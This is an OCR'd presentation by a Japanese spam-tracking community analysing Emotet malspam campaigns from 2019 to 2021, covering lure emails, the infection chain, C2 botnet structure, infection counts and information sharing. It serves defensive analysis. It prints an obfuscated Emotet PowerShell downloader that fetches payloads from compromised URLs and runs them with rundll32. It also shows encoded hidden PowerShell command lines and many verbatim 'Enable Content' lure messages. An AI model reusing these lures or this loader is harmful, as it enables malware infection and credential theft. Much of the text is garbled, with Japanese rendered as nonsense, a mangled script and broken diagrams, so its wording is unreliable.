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" PROTECTED VIEW

The action can't be completed because the file is open in Protected View.

Some active content has been disabled. Click Enable Editing and Enable
Content.

1. Introduction

[Wl= Type: Microsoft Word Document




11. Who we are

We are an individual member of the spam tracking community called
“BARAMAKI”.

This community is consist of CSIRT members at user side and
security researchers at vendor side.

<{Motivation>
In order to reduce damages by malspam in Japan {Speakers>

<Activity Overview>

The organization that receives the malspam
quickly share information, analyzes it together,
and publicly sends out information necessary

sugimu

for countermeasures.

<Ref>50 unknown well-meaning people who protect Japan from scattered emails


https://twitter.com/bomccss
https://twitter.com/sugimu_sec
https://xtech.nikkei.com/atcl/nxt/column/18/00138/072700596/

1.2. Observation of Emotet

<Long—term observation of Emotet attacks>
Sharing received email templates
Emails received mainly by own organization
Analyze attack
Early alert

Share information with foreign researchers



1.3. Today's topic : Emotet

Based on the observed data, we will talk about an analysis of
attack campaigns aimed at infecting Emotet that have
caused serious damage in Japan since the second half of

2019.

Overview of infection
Impact in Japan
Purpose of attack

* The time for this announcement is stated in JST (UTC + 0900).



2. What is Emotet?




2. What is Emotet?

<Features>

Compromise by opening malicious documents

Modular malware
Stealing credentials
Spread over the network
Spread infected emails
Transfer of C2 communication

Infection with other malware via Emotet

<When>

Since Japan was added to the attack list in September 2019, malicious
emails have been delivered.



21 Flow of attacks that infect Emotet

-  Compromised when opening an email attached document.
- Information is stolen and further spread activities

‘ ~4§ Distribution site
(compromised)

Infection spread

—1

1. Receive an email and
compromise

2. Steal information

(This section focuses on the theft of
email-related information)

(This section focuses on spreading
activities by email)



2.2 Emails targeting Emotet infection

=  Sent under the guise of a FREXTOHEEL 60479893 2020 _08_12

business partner or related
organization

- The contents of stolen emails
may be abused BEECE->THY ET.

- Document files,
password—protected zip files,
etc. are attached FREEBZEJVELELEDT

-  Emails delivered in Japan are
mainly based on Japanese

Y FERESETOBEAL 60479893-2020_08_12.doc
228 KB

o v

EX3ZELALLBREVWWELET,




222 Classification of email contents

- Classify email type by following features

contents of emalil

Scattered email

General—-purpose content
There is no past reply history in the body and it is sent as a new
email

Reply chain type

Sent as a reply to the stolen email
The history of past emails remains in the body

Fake reply email

Many general—purpose contents (a type of scattered mail)
At the end of the email body, the content disguised as a past

email header starting with “——— Original Message ——" is
described.




(Ref) Scattered email

FREBOHTI, 770-202098 30

iz

Recipient name

. 770 20209A30.doc ,

BB -THYET,

—B. EFRE-FESEHEVELET.
EST LALLBRENNTLET,

TR=ILT A Ak

E-Mail:

email address

personal name

personal name | ') —7' )X <A
WDEARESEE(TI->THEYET,

LLE, £AULEREFLET,

domain name




(Ref) Reply emai

email subject in history RE: email subject in history

email account name email account name [ Sender amal addess ]

= Recipient name =~ Recipient name

47 #0963038 2009.doc ,

v

WDBBHEE T THYET LOEBHEISTHYET,
FKBOH. DOC |ITTHREIILTBXET, SEEEL LT
LYFOPHE+DIHEIO L EESFATRR FINETLD
LALCBRELET, NERT—R EESLUFHESHECRELTL FI77ILESETIZ,
AMIT7AILEFRE zin
A2 =K L51ylaH
personal name

email address SALKEFEBL EFET,

personal name

email body In history email body in history




(Ref) Spoofed reply email

Re: [\ personal name

email account name
~= Recipient name

) -UH545128.doc

v

BELYAESEE (- THYET,
FRETIERR. CEROERMEE (TR LIVET,

LhL7ahin, TEEFZLILCERETTHL SSiEENMKETT,
DOFEHHD RMINTHBYELATULI-OT, BRE(SGEEETIEL Y, (5%)
QFEREORITHESEL T2
Q12T domain name 1TY, CIEEMFELET,

BLALABFENNLET,

CRBA SZFHIENEUAEEIE,

personal name
email address

————0riginal Message

> Date: Thursday, Octoher 14, 2020 2050

> From: Recipient name

> Tor email account name

> Subject: RE: FW: email account name

RE: personal name

email account name
Recipient name

ey aE s E=tin}
FHEBHI-THYUET,

FZS2D, 202000 24 BB (CHRYLIZCERNIEESBEHIEET,
LIFICBSER2E# - LETOITESAOIEBE O LLET,

BN HAFEESF I EZHEEIIEET L0 LLET,
SROFEZCDONTIENLNLET,

COEQESOAFIRTOAIESRIIL, AEPLRIZ L FHA,

———=Qriginal Message

>> EH A JJRECipientiname

>> BB Thursday, 20209824, 15:48
>> sz émail’accountname
>> 1442 Re: Fud:




2.3. Types of navigation to documents

Description email Document file

A password protected zip file is
attached, the password is stated Attachment unzip
in a body of email ®

(extension: .zip —> .doc) zip file

Attachment

—

Document file is attached
(extension:.doc .docm .rtf )

A PDF file is attached, and the
document file will be downloaded
when you click the URL provided.

Attachment URL link download

PDF file Compromised site

The URL is described in the body
of the email, and clicking it will
download the document file.

m URL in email body 6 I download I ﬁ

Compromised site



24 Document file

- Macro works when opening document file and enabling content

- When the script is executed, Emotet is downloaded from the
communication destination and executed.

- There is also a document file designed using Japanese

= Clearly aimed at Japan

EBRE @D [ s BEB.doc - BEE—F - 20 PCRFEH - s B2 = - 0O x

Eil‘ Microsof ft”

1 Office

JTUMEDHDE L,



Ref) Document file des

@B MicrosoftWord

1 you are opening the attached file with Microsoft Word and you see a Protected view warning
then no values will be displayed until editing is enabled.

a My Office

You are attempting to open a file that was created in an earlier version of Microsoft Office.
If the file opens in Protected View, click Enable ion and then click Enable Content.

Microsoft Office 365

You are attempting to open a file that was created in an earlier version
of Microsoft Office.

If the file opens in Protected View, click Enable Edition and then click
Enable Content.

r  This document created in previous version of Microsoft Office Word.

To view or edit this document, please click “Enable editing" button
on the top bar, and then click "Enable content’

1] Office 365

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

[ windows update

Some apps need to be updated

You need to click Enable Editingand then click Enable Content.

Upgrade your edition of Microsoft Wor

Upgrading your edition will add new features to Microsoft Word

Please, click Enable Editing and then click Enable Content.

Questo file & stato creato con una versione
precedente di Microsoft Office Word.

Per visualizzare il contenuto & necessario fare dick sul pulsante “Abilita modifiche”,
ntenuto”.

situato sulla barra gialla in alto, e poi diccare su *Abilita co

on (Partial

Microsoft Office Wizard

Microsoft Office
] Office

Transformation Wizard

Operation did not complete successfully because the file was created on Android device.
To view and edit document click "Enable Editing” and then click "Enable Content".

" PROTECTED VIEW

The action can't be completed because the file is open in Protected View.

Some active content has been disabled. Click Enable Editing and Enable
Content.

Type: Microsoft Word Document

] Office

This document was created in OpenOffice.
To edit this document, click Enable editing button from the yellow bar above.

Once you have enabled editing, please click Enable content button from the yellow bar above.

] Office 365

You are attempting to open a file that was created in an earlier version of Microsoft Office.

If the file opens in Protected View, click Enable Editing, and then click Enable Content

introduction

Microsoft Word Office 365

Operation did not complete successfully because the file was created on Windows 10 Mobile device.
To view and edit document click Enable Editing and then click Enable Content.

1] Office 365

Operation did not complete successfully because the file was created on I0S device.

To view and edit document click Enable Edition and then click Enable Content.

Microsoft Word

o Word couldn't start last time. Safe mode could help you
troubleshoot the problem.

To start Microsoft Word in safe mode press Enable Editing
and Enable Content.

) Office 365

This document created in online version of Microsoft Office Word

To view or edit this document, please click "Enable editing" button
on the top yellow bar, and then click “Enable content*




24, Script executed from document file

- PowerShell script or JavaScript

-  Multiple URLs are stored in the executed script
- Compromised site where Emotet is distributed (5" 7URL)
= Emotet downloads and runs when even one is active

seT-itEm ("v"+"AR"+"IA"+"bLE:0lU"+"3j") ( [tyPE]("{4}{2}{3}{e}{1}"-f '0','Ry’,'10.d","irect’, 'SYStem.")) ;

$g0AVIZ= [tyPE]("{5H3HOHAH1}{2}" -F '.nET.",'EpO’, INTmANAGer', YSTEm','SeRviC','s") ;

$Gesszxk=("Qe’+('rtx'+'ev’));

$Mswhduk=$N9rdmad + [char](64) + $I6ive8k;

$Led_bay=("R'+('ub’'+'7sn")+'s");

( GEt-VAriaBle ("0LU3"+"j") ).ValUe::"C'Re A Ted IreCTORY"(SHOME + (('m'+('owK'+'®’)+'6y '+('a08'+ mow’ )+('NA'+'g" }+'dz'+('n"+ cmow’))-crePLACe (‘mo’+'w'),[char]92));
$Frv27ff=("Ag'+('g'+'S01e"));

$80aVIz::"S ecu RiTy pro TOCOL" = ('T1'#('s1'+2"));

$Vmdsfuz=("61'+('j1'+'0")+'hs
$Hh_3o0la = (* +('yl
$Z7wSn@s=('BF
$MF7pIom=("Mv'+(
$HAKT7gZ=$HOME+(("1'+'F'+'L'+('K86"+'ya'+'881FL +'N')+'4"+('gd"+'2")+('n"+'CIFL")) -cReplACe([ChaR]49+[ChaR]7@+[Char]76), [Char]92)+$Hh 3ola+((.d"+'1")+'1");
$Noxadpn=(("F'+'xfy")+'zm'+'u’);

T - 5
$ROhAzyo=((((*htt'+'p:3)("+'3"))+(('s'+'2)("+'3"+")(352) (a"))+ Kt +'u"+" e +("L.m'+"a" )+ " rd"+(("uk.kimd"+")"+" (352'+") (do"+'0") )4 "xi "+(("-fuel'+' -hf@'+'9"+'b3"+") "+' (352) ")) +(('
(Logs™+')"+'(35°))+(("2) "))+ ("+(("@htt'+'p:3) "+ (352)(3'+' ) (3'+"52) "+" (braam.c’+'0" ) J+(('m.brd'+*) (37452 )+ ) "+' ('+((* 3"+ ) (35°+'2) "))+ (+( 02" +'ATY )+ (W' + "X )+ 3" +(() ("
+137))4°52°4((") "+ (@Nttp’+ 13" ))+(()(*))+((*3'+°52) (3) ("+'352) (2"))+ e’ +("b'+ aorgan’+ 1" J+("C'+'5. )+ com'+ I )+((*) ("+'35"))+(("2) ("+'w’))+("p-ad’+'m J+((ind) "+ (1))+(('352)"
+ (e n-US"))+(( 31+ ) (3747 52) (*))+( @+ htt )+ p +((*:3) (3'+7 5 +'2°))+((*)(3°+°) ))+(" ("+'352) )+ ("+'F'+ i’ +(('e'+'n'+ dsofchrist10.co’+'mI) ("+'352) )+ ("+("s '+ tr")+(‘eanl’
+'abs—"+0"4+'b")+"s 4 r +( 2T+ rs00 )47 ) "+ (T (37))+"S +((72) "+ ("+'STGNUP"))+((*3)(3'+°52) ))+((" ("+'8h"))+ " +(('t"+7p: 3"+ ) (352 ))H((") (" +'7) Rimal CAPE D PN WP

+1i.comd")+((1) (314757 ))+ 2 +((") "+ (*+7DI) (7)) +(( 352) (y "+ QI +'bkI"+" ) (*))+((*3527+" ) (Bh"))+ £ +(( tp:3) "+ (*+'352°))+(() (*+'3) "+ (3'+'52) .
+7 0 )+((comd ' +1) " (35" 472) (nD) (352°4° ) ("4 W) )+(TUG"+10Z0 J+((*) (3747 52) "+ (")) + h + £ 4 tp +((":2 '+ ) (*))H((*3"+752) (3"))+((" ) ("+'352"))+ . o -
(3)"+ (352°+°) ))H((C(c57+753) " (C))H('37+752°)#7) (((S)M(C YT+ (1D)+('3+ 521400 ) (IN)-"rePLa c™ ((((C I ('+'3 (52 +) ), http:/ /dooxi-fuel-hf09b/Logs/

"5 pLiT"(SWacepvr + $Mswhduk + $0om3ubo); http/ aA7YWWX/

fors:;;{zwxdebim in sksr'\:zyz ;'SGR‘T-‘O‘ Bje Ct {GEt-"RaN DoM}){ http/ /Wp-admln/en-US/
$36sr80i."downlo” A"DfI le”($Nxdebim, $Hak77gz);
ShveBiGo-(X'+'r3"+('1 > dv1')); ) http:/ om/streamlabs-obs-rarso/SIGNUP/

If ((-('Get-It'+'e’+'m’) $HAK77gz)."le NgtH" -ge 33442) {
.('rund’+'1'+'132") $HAk77gz,'#1'."T0s Tri’NG"();
$KVi6y38=("A"+('m60"+'6")+'57");

http:/ 0QnnWbk/
R http:/ /n/WUGoZ/
s http:/ s/

}$ABjckIn=("R'+("k'+ hu’ J+("t '+ ub"))

Executed PowerShell script Stored URLs
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24.2. Change the flow to infection

{update>
-  Fake error messages show up
-  Run DLL—-formatted Emotet with rundll32.exe

Attack stop period(11/01-12/20)
2020/10/31 < » 2020/12/21

125 WINWORD.EXE /n *C:\Users\admin\AppData\Local\Temp\A'J—7271J

admin 7

WINWORD.EXE /n "C:\Users\admin\AppData\Local\Temp\$&&=.doc"
Word experienced an error tryin

B 2z 1k & 114

1506 | WMI POwershellL.exe -ENCOD JABRADIAdAAZADYAeQBhADOAKAANAECAIWATACQAJWBUAGCAZW... w | 3100 |WMI| cmd.exe cmd cmd cmd /c msg %username% /v Word experie
SeR B iz se & 230
v 132 G64gBv.exe | PE 120 msg.exe admin /v Word experienced an error trying to open the file.
&3 B 4643 a7 & 102 B s og 30
352 spoolsv.exe  PE v | 2544 powershell.exe -w hidden -ENCOD IAAGAHMAZQBOACOASQBOAGUATQAGACAAKAANAFYAYQBS...
8 emotet [ 292 3 22 & 63 B B 1k =¥ 283 & 214
w | 3980 rundli32.exe C:\Users\admin\J95z9xs\Ytz_2wz\Anbd96%0ox.dll #1
o B 387 = 46 & 116

> rundli32.exe "C:\Users\admin\AppData\Local\Qeun\ucp.weg",RunDLL
B 8o 3 4
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? 5 Movement after Emotet infection

Infected with other malware
It depends on the time and environment
Receive the module according to the purpose from the

C2 server
Example) Information stealer, spoofing email transmission,
forwarding of C2 traffice

Other malware

module
Infection spread

C2 server w&— compromised by  activities, etc.

Emotet
Information theft




Ref:

251 Emotet module

Emotet is modular malware
Information stealer module
Email information and browser information
Spam module
Scattered module and reply module
Network spreading module
UPnP module
Downloaded from C2 server according to purpose

No fraudulent money transfer modules have been identified since
2017



https://eset-info.canon-its.jp/files/user/malware_info/images/ranking/pdf/MalwareReport_201910.pdf
https://research.checkpoint.com/2018/emotet-tricky-trojan-git-clones/

252 How to steal email-related information

- Rundll32.exe running Emotet launches multiple child processes
= Copying a legitimate file and injecting it
-  Each file reads a .tmp file
- The process with the argument /scomma is loaded with NirSoft tools

Process tree after opening a document file (Confirmed on 2020/12/22)

- ﬁ,jv.'miprvse exe (4464)

mdexe (3664)
i Conhostexe (5648)
msgexe (G612)
) W powershellexe (1664)
Srundli32 exe (4952)
Srundli32 exe (2900)
o Y rundiiz? exe (5924)
vexe (6920)
Zicoexe (4560)
boexe (5140)
zoexe (408)
gugid exe (2884)

certutil.exe:

cmd.exe
o i (4568)

= Ref:

C:¥Windows¥system3 2 ¥wbe m¥wmiprvse exe

cmd cmd cmd emd fc msg XusernameX /v Word experienced an error trying to open the file. & POwershelL —w hidden —EN
¥MECEWindows¥system32¥conhost exe DT -Force 1

msE /v Word experienced an error trying to open the file.

POwershelLL -w hidden ~-ENCOD | ABZ AGUAVAALAGKAJABF AGOA AAs ACEAIEB2 ACI AKWAIAEEAUE AIACs AlgBJA
“CE¥Windows¥system32¥rundl32 exe” C¥Users¥ FKO6 ya08 ¥MNdegdzn c¥I5nyluik_dilL#1

“C¥Windows¥system32¥rundll32 axe” CX¥Users¥ FKOG ya08 ¥N4edzn c¥I5nyluik_dilL#1

C:¥Windows¥S ysWO WS 4¥rundll3? exe “C:X¥Usersy ¥ AppData¥local¥Wuyn¥mzw lbm” RunDLL

“CX¥Users¥ ¥AppData¥local¥Temp¥¥vexe” fscomma “C:¥Users¥ ¥AppData¥local¥TempX¥EDES tmp”
“C¥Users¥ ¥AppData¥local¥Temp¥¥coexe” "C:¥lsers¥ ¥ AppData¥local¥Temp¥F4BC tmp”

“CX¥Users¥ ¥AppData¥local¥Temp¥¥boexe” “"CX¥Users¥: ¥AppData¥local¥Temp¥F4BC tmp”

“C¥Users¥ ¥AppData¥local¥Temp¥¥zoexe” fscomma “C:¥Users¥ ¥ AppData¥local¥Temp¥FD49 tmp”
“C¥Users¥ ¥AppData¥Local¥Temp¥¥idexe” “CX¥Users¥: ¥AppData¥local¥Temp¥26 Atmp”

“C¥Users¥ ¥AppData¥local¥Temp¥¥kexe” “"C¥Users¥s ¢ AppData¥local¥Temp¥26 Atmp”



https://www.mbsd.jp/blog/20181225_2.html

2 5.3. Stolen email-related information

- The extracted information is temporarily output to a file

= The file is deleted once the information is sent to the C2
Server Extracted received email

Extracted email address

00 01 02

00 01

40 6

6D 61 ¢

23

Wema j |




(Ref] Stealing email-related information

Process flow

20:08:38 5068946 _J rundli3? exe R\, CreateFile C:¥Windows¥S ystem3 2¥certutilesxe
20:08:38 5033954 _J rundli32 gxe g QueryStandardinformationFile C:¥Windows¥S ystem3 2¥certutil exe
20:08:38508741 8 _j rundli3? & xe E__l ReadFile C:¥Windows¥S ystem3 2¥certutilexe
20:08:38 5088474 _] rundli32 2xe B, ReadFile C:¥Windows¥System3 2¥certutilexe
20:08:38 5155571 _j rundli32 2xe [, CloseFile C:¥Windows¥System3 2¥certutilexe
20:08:38 5159394 _] rundli32 gxe EL CreateFile C¥Users¥ ¥AppData¥local¥Temp¥bo exe
20:08:38 5164030 | rundli32 axe B WriteFile C¥lUsers¥ ¥AppData¥lLocal¥Temp¥bo axe

20:08:38 5272538 3 [} CreateFile C:¥Windows¥Pre fe tch¥B0 EXE-BCO00ADS pf
20:08:38 5278827 [ CreateFile C:¥Windows¥System3?

20:08:38 5287116 %3 EL QueryNamelnformationFile C:¥Windows¥System3 2¥KernelBase dil
20:08:383 5287966 %3 B QueryNamelnformationFile C:¥Windows¥S ystem32¥KernelBase dil
20:08:335288791 9 EL QueryNamelnformationFile C¥Windows¥System3 2¥kernel32 dil

20:08:404024037 3 =% ReadFile C¥lsers¥ ¥ AppData¥l ocal¥Microsoft¥0u tlook¥ |comost
20:08:404030548 E_lReadFile C¥lUsers¥ ¥ AppData¥l ocal¥Microsoft¥0u tlook¥ |comost
20:08:404033723 BReadFile C:¥Users¥ ¥AppData¥local¥Microsoft¥0u tiook¥ |comost
20:08:404036188 °© BReadFile C¥Users¥ ¥AppData¥local¥Microsoft¥0u tlook¥ |comost
20:08:404037045 BReadFile C¥Users¥ ¥ AppData¥l ocal¥Microsoft¥0utlook¥ |comost
20:08:404046305 © R\, WriteFile C:¥Users¥ ¥AppData¥local¥Temp¥F4BC tmp
20:08:404047106 B"\'MteFile C:¥Users¥ ¥AppData¥local¥Temp¥F4BC tmp
20:08:404061827 B WriteFile C:¥lUsers¥ ¥AppData¥local¥Temp¥F4BC tmp
20:08:404062442 3 g WriteFile C¥Users¥ ¥AppData¥Local¥Temp¥F4BC tmp
20:02:404062957 ° gl\'lritef-'ile C¥lUsers¥ ¥AppData¥l ocal¥Temp¥F4BC tmp
20:08:404063381 @‘M’iteFile C¥lUsers¥ ¥AppData¥local¥Temp¥F4BC tmp
20:08:404064016 9 B\ WriteFile C:¥lUsers¥ ¥AppData¥local¥Temp¥F4BC tmp
20:08:404064218 El WriteFile C¥Users¥ ¥AppData¥local¥Temp¥F4BC tmp
20:08:404065087 ? Ek'MiteFile C¥lUsers¥ ¥AppData¥l ocal¥Temp¥F4BC tmp
20:08:40 4065176 %3 Bﬂ'ﬁriteFile C¥lUsers¥ ¥AppData¥local¥Temp¥F4BC tmp
20:02:404066021 3 E-:_%CloseFile C:¥Users¥ ¥AppData¥local¥Temp¥F4BC tmp




2.6. Flow of sending spoofed emails

- Spoofed login with stolen email account information
- Deliver emails aimed at infection via a legitimate mail server

control

- >
»

attacker

25

C2 servers

Email sending module
Stealed emailer setting
information

Stealed contacts

Email content

Mailer setting information
Stealed contacts
Content of stolen email

P

=

Org A

-

Org Z

Infected devices

Login attempt

send email

e

e

Delivery of spoofed emails

Org A

Org Z

RAA

Legitimate mail server



2.6.1. Image of sending / receiving spoofed emails

* This is an example of how a reply—type email is sent / received.
e Org A +Org C mailer setting information : AR 4

e Org A -Org C contacts, email content _

o Business partners and
: 1 &_ & related organizations
2 . .

C2 servers Infected hosts
® Em_a” senc_iing_ module. Deliver emails to Org B by tricking Org A into using the email
e Mailer setting information stolen from . address of as an envelope FROM
infected terminal Legitimate
e Contacts stolen from infected device ) Example of email received by Org B (reply type)
e Email content mail server
Subject:Re: e BHDEZHICDEFELT

e Log in by misusing the mailer setting I From : <Org C email address>

information of the terminal ~ To:
e send email Lo

i — - Attachment : 553k Z .doc

Infected hosts

. 09F EmFEREEDOCIZT Below is the history of actual
o) I — o ~ 1
wl, M —> KBLCBRELLET . past emails

Legitimate

BRI TRYET,
o6 mail server % B OMELELLRBITTSMUIE,

Infected hosts
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(Ref) Login enforced from infected hosts

- The stolen email account credentials are misused

Attempt to log in from infected hosts

ESRS:14 98 COTIFAETANITONTHS, PHUo betFiU7(TREL

S LFRABTITET R EENELR

COFIFAETHITONTHS. 7Ho> bet+1U7(TREL
FUlz.

TS, 7ho> betz1Y5(TREL

ERLERRBZTITETMREEINELL

mr7Un

ESLERRBTITETMREENELR



2./. Emotet infection spread cycle by email

Email sending module Login attempt _
Email related information Email spread
Control ”}3 send e— ma|I
attacker C2 server Infected hosts Legitimate mail servers

|

| |

. - . Information stealer module |
I | -Mailer setting information |
1 | -Address book | —1, )

*Email

l subject | - . H“F
| *body | .
|| -attachment | ! Download Dijstribution site
! Stealed information I I 2L U (copromised)
_____________________________ e - - — Emotet

1. Receive emails , Infect Emotet



2.8. Botnet - Epoch

- There are three botnets
= They are called Epoch1, Epoch2, and Epoch3.

Unique information for each Epoch
Email templates, email address
URL of Emotet distribution sites
C2 lists and RSA keys included in Emotet
- The main targets are different
Japan is a major target for Epoch3 (E3)

29 Ref:


https://paste.cryptolaemus.com/emotet/2020/10/25/25-emotet-malware-IoCs_10-25-20.html

30

2.8.. Botnet - Epoch

Infected hosts

email template
attachment

Destination

download
URL

Emotet RSA key

C2 server

S A
“KA —
—

S A
‘l?:; —
—

S, A
"fﬁa —
E—




Ref:

2.8.2. C2 server redundancy

C2 server destination is stored in Emotet
Each Epoch has a maximum of 128 C2s

About 80% of C2 servers are Bot C2, therest is Tier 1 C2
The BotC2 is an infected host with the UPnP module loaded.
Forward communication to Tier1 C2
Tier 1 G2 is a compromised Linux server

And there is a Tier 2 C2 server
Tier1 G2 forwards communication to Tier2 C2

The main purpose is to prevent takedown

Other modules store the list of other C2 IP addresses


https://blog.lumen.com/emotet-illuminated-mapping-a-tiered-botnet-using-global-network-forensics/
https://hello.global.ntt/ja-jp/insights/blog/behind-the-scenes-of-the-emotet-infrastructure
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2.8.3. C2 server redundancy

C2 server hard coded on sample

Infected hosts l Tier1 C2
| (compromised site)

|

I

|

/’J | )’ |
ol e ol Wd
' |

|

I

Infected hosts | Bot C2 uPnP module

| (lnfected hosts)

Infected hosts | Bot ¢2 UPnP module Tierl C2
(Infected hosts) (compromised site) |

Tier2 C2
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2 84. Function of evasion detection

Evasion detection by antivirus software
Unique hash for each infected host
Periodic update of Emotet (change of hash)
Up to 5 times a day
In addition to holidays such as Sat. and Sun., the attack

stop date is also updated
Number of changes in hash (daily)
6

Epochl
Epoch2
Epoch3

Attack stop period (11/01712/20)

10/4 10/11 10/18 10/25 11/1 11/8 11/15
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3. Impact of Emotet
on Japan

] Office 365

This document only available for desktop or laptop versions of Microsoft Office Word
To open the document, follow these steps

Click Enable editing button from the yel bar above,
Once you have enabled editing, please click Enable content button
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3.1. Attack on Japan

Time (date) Activity Sy e
2019,/04,/12 Receive emails written in Japanese Unconfirmed second
(Temporary) malware
09/27 Japan is targeted in earnest Confirmed second

malware

Around 2019/11

Increased number of infections due to
reply emails

Emails that are not in
Japanese

Email written in

11/23 Attacks on Japan intensify
Japanese
2020/02/06 Attacks stopped around the world
07/117 Attacks resume around the world
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3.1. Attack on Japan

Time (date) activity Remarks
. Rapid increase in emails to
2020/08/28 Japan became a target in all Epochs
Japan
: o -
08/31 Increase in number of infections in Japan Approximately ZSOA] nerease
compared to 28
09,02 P;SSVP\:OT protected zip files have been
attache Factors behind the rapid
Document files with Japanese design increase in infection
09/25
started to be used
10/31 Attacks stopped around the world
12/21 Attacks resume around the world Few to Japan




3.2. The days targeted Japan

Emotet email sending date and Japan targeted date

Yellow :
Emotet emails are sent,
not for Japan

Emotet emails are sent,
targeting Japan

o 10

Japan is included in the

target in about half
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3.3. Changes in email trends and characteristics

Early attack

Machine translation from general English content

Contents and attachments disguised as documents and invoices
Themes that match the time will be used (from 2019/12)

Bonus, Christmas, COVID-19

Fluent Japanese text is used (from 2020/01)
Diversion from stolen emails and learning on the attacker side

Reply type is used consistently
Templates are getting more and more complicated
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(Ref] Typical email templates and frequencies

types First seen Last seen counts subject (esample) attachment (example) remarks

invoice 2019/4/12 2020/8/13 8 FEREDEE 47434999183 703679.doc

General 2019/9/27 2020/10/17 37 RFa A b PO# 08182020Ex.doc

invoice 2019/11/27 2020/12/30 62 FEREOHTYT, [HFAM] EREDHTT, 167204 20200728.doc

bounus 2019/12/9 2020/12/30 17 BE5XiE 12AE 5 doc

Christmas 2019/12/18 2020/12/29 (] H)—=D)RAITR A)—H1) XX .doc

meeting notice 2020/1/14 2020/2/3 16 KEFEBR KGR doc

invitation to meeting 2020/1/17 2020/12/30 34 KEADBF [FEsdomain] ESHRRELEBEADIBH .doc

COVID-19 2020/1/28 2020/9/15 7 WS R ATAEALE [B ] B0 [Bf4].doc

meeting agenda 2020/8/12 2020/9/30 13 LEHDRDEEDERE, ZEBDODRBEDFIVIIRE,

partner companies 2020/9/1 2020/10/28 25 [FEETRTA] Z{t[H{t].doc Also used in reply type
Trendmicro 2020/9/3 2020/9/28 9 rLUR=<A40- AREAT—ERET > r— .doc

update 2020/9/25 | 2020/10/28 | 14 BEkRTE ] FEHDEN .doc Also used in reply type
Additions 2020/9/29 2020/10/20 9 [FEETRTA] 1EBMN5 4 .doc Also used in reply type




34. Scale of emails addressed to Japan (daily)

Number of emails addressed to jp domain email addresses
(Calculated based on observed email data, 2020/07-2021/01)

Attack temporarily
stopped(10/6-10/13)
Attack temporarily >

stopped(Q/G—Q/& ol =Attack temporarily stopped(1 1/1—12/&0)

*The actual number is difficult to show due to various reasons, but it is on the scale of 10,000




3.5. Changes in the number of infections (monthly)

Number of email accounts stolen and abused in jp domain
(Calculated based on observed email data, 2020/07-2021/01)

—e—account
—es—domain

1715
> —de———%177
2020/9  2020/10  2020/11  2020/12  2021/1




(Ref) Changes in the number of infections (monthly)

Number of email accounts stolen and abused in jp domain
(Calculated based on observed email data2019/09-2021/01)

12000
—e—account

10000 -o—cdomain

8000
6000

4000
1656 1909
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3.6. Changes in the number of infections (daily)

Number of email accounts stolen and abused in jp domain

(Calculated based on observed email data, 2020/07-2021/01)

. -—e—account
Attack temporarily

topped (9/6-9/13 : -
stopped ( ) —domain

Attack temporarily stopped

(1048-10/13)

Attack temporarily stopped (11/1-12/20)
-—

_RAn

9/14 10/4 10/24 11/13




44

3.7.Changes in the number of new infections (daily)

Number of new email accounts stolen and abused in jp domain

1800
1600
1400
1200
1000
800
600
400

7/16 8/5

g I M A

(Calculated based on observed email data, 2020/07-2021/01)

Attack temporarily
stopped (9/6-9/13) —e—account

-cdomain

Attack temporarily stopped
(10/6-10/13)
>

f ‘ Attack temporarlly stopped (11/1-12/20)

-

8/25 9/14 10/4 10/24 11/13 12/3 12/23 1/12



3.8. Changes in the cumulative number of infections (daily)

Cumulative number of email accounts stolen and abused in jp domain

(Calculated based on observed email data, 2020/07-2021/01)

—e—account

= cdomain

\ Document file with Japanese design First

Do observation (9/25)
Password protected zip file

First observation (9/2)

Target on all Epoch
(8/28)

Attack temporarily stopped

; , (10/6-10/13)
> e > < >
Attack temporarily stopped (9/6-9/13) Attack temporarily stopped (11/1-12/20)

8/5 8/25 9/14 10/4 10/24 11/13 12/3 12/23
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(Ref) About the number of jp email accounts

<{Points to remember>

" Only jp (Japan included in others is not counted for convenience)

* The number was abused by the sender of the email (red frame in the
lower right figure), not the exact number of infections.
°  Multiple email accounts may be stolen from one device or none may

be stolen

" Affected by the amount of email sent

. ) ) s Bnn e Ry  m@A *
° If the amount of transmission is e S—_—
c2y—)( Bvssk P-
small, the number of =
. : %%ggggitgggzﬁfﬁﬁ ERA—IL ’ ‘C’}jﬁ-‘tt%\’&f’)‘z%bf:(CX*)L’&!B% |
observations may decrease and p e 1M 5
deviate from the tendency. S i
i
B e
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4. Damage reduction
measures

] Office 365 B Microsoft

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document




Information sharing

Information sharing and alerting the latest Emotet trends

on Twitter etc.
Observing password protected zip Response procedures after infection

Emotet DEAEA—LERRLTNET @ havtleo

53 D7 AIHNRD— R EZpDEDEHEL TLE Emotetﬁ,’éﬁd)ﬁﬂﬂ
7)'/'71) t

20 users

@ bomb_log
d:bomccss
YLD I ZEmotetD;EENEE (2020/07/17-)

01”EA'WEI Al §Zi{T>T \QV)LUT}_"EmotemI

n;)E@]Q’iEﬁ UEUE 2020/12/228352) /090/10” AR

27 users
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41 Information sharing

email template
New coronavirus—themed email
Emails that trick Trend Micro

Early detection of new methods
Use password protected zip files

Document file with Japanese design
Share payload URLs (Register with URLHaus)



S0

411 Heads up

Alerts are mainly sent out by the community, but our companies

may help if necessary.

2019/11/27 JPCERT/CC Issued Emotet alert
= 2019/12/02 Published blog How to Respond to Emotet

Infection (FAQ)

11/28 Chief Cabinet Secretary calls
attention to Emotet

. PCOUAIRATEESRE= [TEFTY NI
[ witter | £ Facebook || @ Line |

B, 202 0%%E=R (R /(5U D) RR(CRN3HBE {7

ToTN3. BIERSRRIBRCBOD L EBC, WEILABLEOIZONEINFE
BMEiREITO TLEL EHALE.
S E EEOBBIRE(CRD ITEUEA—ILITRME U TEDMITS
) (R T — BIRENTEEND, TDBHRERICHZ
JRA—)LNRIESE N, WEPFKERONILE L TS,
SESEIE

e {k{& #(Ken Sajo) December 4, 2019

How to Respond to Emotet Infection
(FAQ)

Since October 2019, there has been a growing number of Emotet infection cases in Japan. JPCERT/CC issued a
security alert as follows:

Alert Regarding Emotet Malware Infection
https://www.jpcert.or.jp/english/at/2019/at190044.htrr

The purpose of this entry is to provide instructions on how to check if you are infected with Emotet and what you can
do in case of infection (based on the information available as of December 2019). If you are not familiar with the
detailed investigation methods described here, it is recommended that you consult with security vendors who can
assist you.




Ref:

42 Global cooperation

*  Emotet is a global threat, and there is a global group ~ to
counter Emotet

°  QGathering security experts
from around the world

* Cooperation to share information
from Japan

